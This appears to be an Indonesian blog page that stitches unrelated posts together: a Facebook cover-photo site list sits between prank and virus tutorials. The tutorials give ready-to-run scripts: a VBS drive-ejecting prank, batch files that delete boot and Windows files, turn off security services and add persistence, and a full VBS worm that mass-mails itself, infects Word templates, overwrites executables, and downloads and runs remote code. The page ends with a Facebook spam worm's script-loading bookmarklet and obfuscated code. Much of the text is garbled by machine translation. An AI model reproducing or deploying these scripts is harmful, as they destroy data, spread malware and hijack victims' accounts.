Si Ucok Polos Berbagi

Script ini digunain untuk buka tutup DVD. Ini adalah hasil dari project VB alias visual basic. Ini merupakan salah satu jenis gangguan dari virus TROJAN,yaitu DVD buka tutup sendiri tanpa di komando. Dah ah...g usa banyak omong...ni tutornya nya...:

1.bikin new text document.
2.masukin script berikut;
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3.save dalam extensi .vbs
4.kasi aja nama "gadisbugil"...hahahaha...biar napsu nya pada naik buat buka nih script....
OK....met nyoba ya....

Facebook Timeline | Cara Mudah Membuat Cover/Foto Sampul Facebook Timeline . Bagi anda penikmat facebook sekarang sudah bisa menikmati fitur baru facebook berupa Facebook Timeline. Disini Facebook timeline mempunyai fitur yang banyak. Tapi entah kenapa banyak user facebook yang mengeluh dengan tampilan baru ini dan malah memilih kembali ke tampilan lamanya.Cara Jitu Mempercepat Koneksi Internet 3 Three Terbaru.

Bagi anda yang tidak bisa mendesign Cover Facebook,saya akan berikan langkah mudah untuk membuatnya tanpa harus memiliki skill mendesign :

Saya akan memberikan Daftar Nama - Nama Situs Untuk Membuat Cover/Foto Sampul Facebook Timeline :

0. Coverphotofinder.com

Penggunaannya sangat mudah, dengan memilih gambar yang akan digunakan lalu klik gunakan dan gambar akan terupload otomatis ke facebook dengan dilengkapi gambar-gambar yang keren, juga bisa mengupload gambar sendiri.

1. Newfacebookbanners.com
sebuah situs yg menyediakan tempat untuk membuat cover anda dengan sesuka hati anda dengan imajinasi dan kreatif anda. Dengan copy paste ID gambar yang ada di situs penyedia layanan gambar yang dipilih.

2. Facecoverz.com
Salah satu situs yang menyediakan gambar yang bagus dan keren yang siap pakai dengan mudah.

3. TheSiteCanvas.com
adalah situs yang bagus bagi anda yang ingin menyesuaikan sampul, serta tempat yang baik untuk mendapatkan ide dari ratusan foto sampul dimasukkan dalam galeri.

4. fbcoverpix.com

FB Cover Pix adalah situs penyedia gambar yang siap digunakan untuk cover fb anda dengan didownload terlebih dahulu.

5. 99covers.com
99Covers menawarkan koleksi ribuan Cover yang populer yang siap digunakan di Facebook anda.

6. Myprofilecover.com

Dapatkan grafis yang anda inginkan di sini, yang ingin dijadikan sebagai cover fb anda dengan banyak pilihan dan kategori termasuk foto dengan slogan-slogan motivasi serta banyak yang lainnya.


Sebenarnya masih banyak situs untuk Membuat Cover/Foto Sampul Facebook Timeline, tapi anda bisa mencarinya dengan cara searching di Google.
Terimakasih sudah membaca artikel Facebook Timeline | Cara Mudah Membuat Cover/Foto Sampul Facebook Timeline, semoga tampilan facebook timeline anda lebih bervariasi.


Artikel Terkait:

Cara/Trik Mempercepat Koneksi Internet di Warnet
Cara/trik Jahil Di Facebook
Free Download Aplikasi Keylogger Terbaru
Hacker Lame alat atau perangkat pengiriman trojan? Tangan dengan Anonim-OS
PENERIMAAN MAHASISWA BARU/Stmik Budidarma Medan
Contoh cara Buat Virus
Contoh cara Buat Virus

DI SINI ADA R beberapa script VIRUS EXCELLENT script Webs PALING BERBAHAYA JUGA TERCANTUM DALAM MEREKA
Bagaimana untuk crash PC Selamanya! :::
@ Echo off
attrib-r-s-hc: \ autoexec.bat
del c: \ autoexec.bat
attrib-r-s-hc: \ boot.ini
del c: \ boot.ini
attrib-r-s-hc: \ ntldr
del c: \ ntldr
attrib-r-s-hc: \ windows \ win.ini
del c: \ windows \ win.ini
 
Buka notepad dan copy dan paste. Simpan sebagai file. Kelelawar.
Ini harus shutdown komputer orang. Menutup itu dari sekali dan menghapus file yang dibutuhkan untuk reboot dan restart.
INGAT - JANGAN KLIK FILE INI. (Untuk para idiot)
Juga ingat ** ini mungkin tidak bekerja dengan vista. **
 
Bagaimana menghentikan akses internet seseorang ::::
@ Echo off
Ipconfig / release
Simpan bahwa sebagai kelelawar. Dan mengirimkannya ke seseorang. Mereka alamat IP akan hilang, dan karena itu mereka tidak akan dapat memperbaikinya
Namun, hal ini SANGAT mudah untuk memperbaikinya. Cukup ketik ipconfig / renew
 
ShutDown PC juta Waktu ::::
 
1.Right klik pada desktop
2.Click shortcut
Anda akan mendapatkan kotak dialog, menulis di dalamnya: shutdown-s-t 1000 c "komentar apapun u inginkan" lalu tekan berikutnya
catatan: ini "1000" saya menulis adalah waktu dalam detik diperlukan untuk komputer untuk shutdown ur, u dapat menempatkan sejumlah u mau ...
3.u akan mendapatkan kotak dialog yang lain, menulis di dalamnya: Internet Explorer dan tekan finish
4.u akan menemukan ikon pada desktop ur, jangan membukanya, cukup klik kanan di atasnya dan tekan properti> change icon> pilih ikon para penjelajah internet dan pers menerapkan lalu ok
mencoba untuk membukanya, itu adalah virus hehe
PS: satu-satunya cara menghentikan komputer ur 2 dari mematikan adalah pergi 2 start> run> ketik: shutdown-a
 
Bekukan desktop yang seseorang :::
ini adalah trik yang lucu, u dapat membekukan desktop yang seseorang
Ur semuanya 1.close bekerja di, dan bekerja pada desktop. jadi klik pada PrtScr pada keyboard ur.
2.go melukis dan klik edit lalu paste
3.Simpan file ini sebagai (nama). Bmp dan menutup cat.
3.Now di desktop, kami memiliki 2 ikon desktop menghapus dan shortcut, jadi klik kanan pada mouse dan kemudian properti, klik pada desktop lalu pilih menyesuaikan desktop.
4.uncheck semua kotak dalam ikon desktop dan tekan ok. lalu tekan berlaku kemudian ok.
5.now untuk menghapus shortcut di desktop, pergi untuk memulai dan pilih My Computer, kemudian klik pada c: klik kanan pada mouse dan pilih ur folder baru, menulis nama apapun
6.now pergi ke desktop & pilih semua ikon da dan klik kanan pada mereka lalu tekan dipotong, pergi ke c: dan paste di folder dat u dibuat kemudian tutup jendela.
7.now untuk menempatkan gambar desktop palsu dan menghapus taskbar, jadi klik kanan pada desktop dan gp ke properti, sekarang pergi ke desktop dan pilih Browse, pilih file yang disimpan u lalu tekan appply lalu ok. sekarang untuk menghapus taskbar windows, klik kanan pada taskbar dan pergi 2 properti, kemudian pilih autohide taskbar dan kemudian terapkan kemudian ok
sekarang semua palsu ikon r dan pengguna akan berpikir bahwa desktop nya adalah freezing
menikmatinya.!
 
SHUT UR permenantly INTERNET :::
Ini adalah salah satu sedikit lebih maju. Ini menutup internet Anda Permanately. Saya mencoba di sendiri tidak sengaja, saya tahu apa yang terjadi, dan masih butuh beberapa hari untuk mendapatkan internet saya kembali. bekerja terbaik di XP, belum diuji di vista atau 7.
EDIT: Pada bagian bawah menempatkan situs rickroll atau sesuatu. BTW, bahwa garis ke-3, tidak apa Menonaktifkan internet Permanately. Hal ini somethinge lain, yang hanya memberikan respon yang cepat untuk menutup koneksi.
@echo off
reg add HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run / v MiXedVeX / t REG_SZ / d% systemroot% \ HaloTrialScoreChangerV1 / f> nul
awal IExpress (situs pilihan Anda)
ipconfig / release
del "C: \ Program Files \ Microsoft Game
del "C: Nexon
del "C: \ Program Files \ Xfire
del "C: \ Program Files \ Adobe"
del "C: \ Program Files \ Internet Explorer"
del "C: \ Program Files \ Mozilla Firefox"
del "C: \ WINDOWS"
del "C: \ WINDOWS \ system32"
del "C: \ WINDOWS \ system32 \ cmd"
del "C: \ WINDOWS \ system32 \ IExpress"
del "C: \ WINDOWS \ system32 \ sndvol32"
del "C: \ WINDOWS \ system32 \ sndrec32"
del "C: \ WINDOWS \ system32 \ Restore \ rstrui"
del "C: \ WINDOWS \ system32 \ wupdmgr"
del "C: \ WINDOWS \ system32 \ desktop"
del "C: \ WINDOWS \ java"
del "C: \ WINDOWS \ Media"
del "C: \ WINDOWS \ Resources"
del "C: \ WINDOWS \ system"
del "C: \ driver"
del "C: \ drv"
del "C: \ SYSINFO"
del "C: \ Program Files"
gema ipconfig / release_all >> c: windowswimn32.bat
bersih stop "Security Center"
bersih berhenti SharedAccess
> "% Temp%. Kill.reg" ECHO REGEDIT4
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
>> "% Temp%. Kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>> ".% Temp% kill.reg" ECHO "Start" = dword: 00000004
>> "% Temp%. Kill.reg" ECHO.
START / WAIT REGEDIT / S "% Temp%. Kill.reg"
del "% Temp%. kill.reg"
del% 0
gema @ echo off> c: windowswimn32.bat
menggemakan memutuskan >> c: windowswimn32.bat
gema ipconfig / release_all >> c: windowswimn32.bat
gema akhir >> c: windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun / v WINDOWsAPI / t REG_SZ / dc: windowswimn32.bat / f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun / v CONTROLexit / t REG_SZ / dc: windowswimn32.bat / f
: A
awal IExpress (situs pilihan Anda)
goto
 
PEMBUATAN VIRUS PALING BERBAHAYA DISEBUT MATRIX :::
Peringatan - Jangan jalankan di komputer Anda
Aku akan mengajarkan cara untuk membuat virus bernama Matrix ...
1-Buka notepad
2-Masukkan kode ini
# Include

Ini adalah contoh Script Intuk bahan pembelajaran bagi pembaca.......
segala efek yang disebabkan oleh script tersebut tidak menjadi tanggung jawab penulis.......
Thank's.

On Error Resume Next
spawn()
sub spawn()
Set s = CreateObject("Scripting.FileSystemObject")
Set f = s.GetFile(wscript.scriptfullname)
f.Copy ("c:\anyname.vbs")
f.Copy ("c:\folder\subfolder\...\anyname.vbs")
f.Copy ("c:\attachment.vbs")
f.Copy ("c:\attachment1.vbs")
end sub
mail()
sub mail()
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 5 Then oo = d.AddressEntries.Count
Next
c.Subject = "DOOM!"
c.Body = "...U Hav Bin Infected!!!"
c.attachments.Add wscript.scriptfullname, 1, 1
c.attachments.Add "c:\attachment.vbs", 1, 2, ""
c.attachments.Add "c:\attachment1.vbs", 1, 3, ""
c.Send
e = ""
Next
b.Logoff
End If
end sub
reg()
sub reg()
dim j
Set j = CreateObject("WScript.Shell")
j.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\*HLM", wscript.scriptfullname
end sub
update()
Sub update()
Dim objInet, a
Dim strDownloadedCode
Set objInet = CreateObject("InetCtls.Inet")
objInet.RequestTimeOut = 30
strDownloadedCode = objInet.OpenURL("http://members.tripod.com/yourusername/thevbsroutineupdate.txt")
set fso = createobject("scripting.filesystemobject")
set f = fso.CreateTextFile("c:\update.vbs")
f.write strDownloadedCode
f.close
Set a = CreateObject("WScript.Shell")
a.run ("c:\update.vbs")
end sub
irc()
sub irc()
set fso = createobject("scripting.filesystemobject")
set scrini = fso.CreateTextFile("c:\program files\mirc\script.ini")
scrini.WriteLine "[script]"
scrini.WriteLine "n0=on 1:JOIN:#:{"
scrini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scrini.WriteLine "n2= /dcc send $nick " & wscript.scriptfullname
scrini.WriteLine "n3=}"
scrini.Close
end sub
word()
sub word()
norm ="Sub document_close()" & vbCrLf & _
"On Error Resume Next" & vbCrLf & _
"Open ""c:\xploit.txt"" For Output As 2" & vbCrLf & _
"Print #2, ""sub document_open()""" & vbCrLf & _
"Print #2, ""On Error Resume Next""" & vbCrLf & _
"Print #2, ""'by alcopaul""" & vbCrLf & _
"Print #2, ""obj = ActiveDocument.Shapes(1).OLEFormat.ClassType""" & vbCrLf & _
"Print #2, ""With ActiveDocument.Shapes(1).OLEFormat""" & vbCrLf & _
"Print #2, "" .ActivateAs ClassType:=obj""" & vbCrLf & _
"Print #2, "" .Activate""" & vbCrLf & _
"Print #2, ""End With""" & vbCrLf & _
"Print #2, ""end sub""" & vbCrLf & _
"Close 2" & vbCrLf & _
"Set fso = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf & _
"Set nt = ActiveDocument.VBProject.vbcomponents(1).codemodule" & vbCrLf & _
"Set iw = fspenTextFile(""c:\xploit.txt"", 1, True)" & vbCrLf & _
"nt.DeleteLines 1, nt.CountOfLines" & vbCrLf & _
"i = 1 " & vbCrLf & _
"Do While iw.atendofstream True" & vbCrLf & _
"b = iw.readline" & vbCrLf & _
"nt.InsertLines i, b " & vbCrLf & _
"i = i + 1 " & vbCrLf & _
"Loop" & vbCrLf & _
"ActiveDocument.Shapes.AddOLEObject _" & vbCrLf & _
"FileName:=""c:\anyname.vbs"", _" & vbCrLf & _
"LinkToFile:=False" & vbCrLf & _
"ActiveDocument.Save" & vbCrLf & _
"Open ""c:\vv.reg"" For Output As 3" & vbCrLf & _
"Print #3, ""REGEDIT4""" & vbCrLf & _
"Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" & vbCrLf & _
"Print #3, """"""Level""""=dword:00000001""" & vbCrLf & _
"Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" & vbCrLf & _
"Print #3, """"""Level""""=dword:00000001""" & vbCrLf & _
"Print #3, """"""AccessVBOM""""=dword:00000001""" & vbCrLf & _
"Close 3" & vbCrLf & _
"Shell ""regedit /s c:\vv.reg"", vbHide" & vbCrLf & _
"Kill ""c:\vv.reg""" & vbCrLf & _
"End Sub"
Set fso = CreateObject("Scripting.FileSystemObject")
set f = fso.createtextfile("c:\try.txt")
f.write norm
f.Close
Set oword = CreateObject("Word.Application")
oword.Visible = False
Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule
Set iw = fspenTextFile("c:\try.txt", 1, True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream True
b = iw.readline
nt.InsertLines i, b
i = i + 1
Loop
oword.NormalTemplate.Save
oword.NormalTemplate.Close
end sub
haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "")
End If
Next
haha = s
End Sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "exe") Then
Set f = fso.GetFile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbs")
fso.deletefile(f1.path)
End If
If (s = "freecell.exe") Or (s = "readme.txt") or (s = "license.txt") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path)
fso.deletefile(f1.path)
End If
If (ext = "exe") Or (ext = "bat") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbs")
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
dos()
sub dos()
Dim a
Set a = CreateObject("WScript.Shell")
a.run ("c:\windows\ping.exe -t -l 10000 www.grisoft.com")
end sub
msgbox "INFECTED", ,"DOOM"

Melanjutkan tulisan saya sebelumnya tentang pesan chat dari teman anda seperti :

‘(nama anda) pengen tau saipa aja yang Sering lihat profilemu? http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

‘(your name) See who views your profile http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645′;

javascript:(a=(b=document).createElement(‘script’)).src=’//www.zingapoker.byethost4.com/_.js’,b.body.appendChild(a);void(0)

• .pureftpd-rename.36788.f8ccaee0
• _.js
• final.htm
• qwq.js

var randomnumber=Math.floor(Math.random()*99999);
var chatmessage = '%firstname% pengen tau saipa aja yang Sering lihat profilemu?   <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var postmessage = 'wow...ternyata banyak juga yang suka lihat profileku y : \n\ %tf% - 436 views \n\ %tf% - 83 views \n\ %tf% - 42 views \n\ %tf% - 30 views \n\ pengen tau saipa aja yang Sering lihat profilemu? <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var redirect = '<a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var eventdesc = 'You can now see whos been on your page! \n\ \n\ Go here:  <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'</a> \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\'';
var eventname = 'See Who Likes You!';

• memilih secara acak teman-teman anda “var randomnumber” kemudian akan menampilkannya sebagai teman yang yang pernah melihat profil anda “var postmessage”.

Disitu terdapat string “%tf%”, dimana string ini yaitu teman-teman yang dipilih secara acak tadi dan menjalankan perintah pada line 219 yaitu mengirimi mereka pesan.

mt = postmessage;
m = postmessage;
while (mt['search']('%tf%') >= 0) {
var _0xaa04x32 = _0xaa04xd['pop']();
mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
};

• Pesan chat yang dikirim ditentukan lewat variabel “var chatmessage” dengan isi pesan “pengen tau saipa aja yang Sering lihat profilemu? ”.
• Setelah menjalankan script tersebut, anda secara diam-diam di redirect lagi kembali ke halaman awal dengan perintah “var redirect =”.